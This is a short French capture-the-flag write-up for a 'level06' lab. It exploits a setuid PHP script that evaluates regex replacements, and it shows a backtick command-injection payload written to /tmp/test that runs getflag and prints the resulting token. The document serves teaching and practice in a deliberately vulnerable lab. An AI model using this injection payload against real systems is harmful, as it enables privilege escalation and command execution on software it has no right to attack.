34 lines
1.1 KiB
Markdown
34 lines
1.1 KiB
Markdown
Lors de mon arriver sur le niveau 6 je remarque que j'ai 2 fichiers qui sont accessible
|
|
|
|
```bash
|
|
ls -l
|
|
total 12
|
|
-rwsr-x---+ 1 flag06 level06 7503 Aug 30 2015 level06
|
|
-rwxr-x--- 1 flag06 level06 356 Mar 5 2016 level06.php
|
|
```
|
|
|
|
Le fichier est disponibles dans ./ressources/level06.php (sinon c'etait en oneline moins lisible)
|
|
|
|
Une fois la lecture du script effectue nous pouvons en comprendre que ce program fait:
|
|
- Lis le fichier passer en arguements
|
|
- Il interprete des commandes comme des variables php
|
|
|
|
Ce qui fait que c'est assez interessant pour nous:
|
|
|
|
```bash
|
|
echo -e "[x \${\`echo coucou\`}]" > /tmp/test
|
|
./level06 /tmp/test hello
|
|
PHP Notice: Undefined variable: coucou
|
|
in /home/user/level06/level06.php(4) : regexp code on line 1
|
|
```
|
|
|
|
Nous pouvous voir que la resultat de la commande nous est afficher en temps qu'erreur en nous disant que elle n'est pas definis
|
|
|
|
Je peux donc je peux donc faire la meme chose mais avec getflag
|
|
|
|
```bash
|
|
echo -e "[x \${\`getflag\`}]" > /tmp/test
|
|
./level06 /tmp/test hello
|
|
PHP Notice: Undefined variable: Check flag.Here is your token : wiok45aaoguiboiki2tuin6ub
|
|
in /home/user/level06/level06.php(4) : regexp code on line 1
|
|
```
|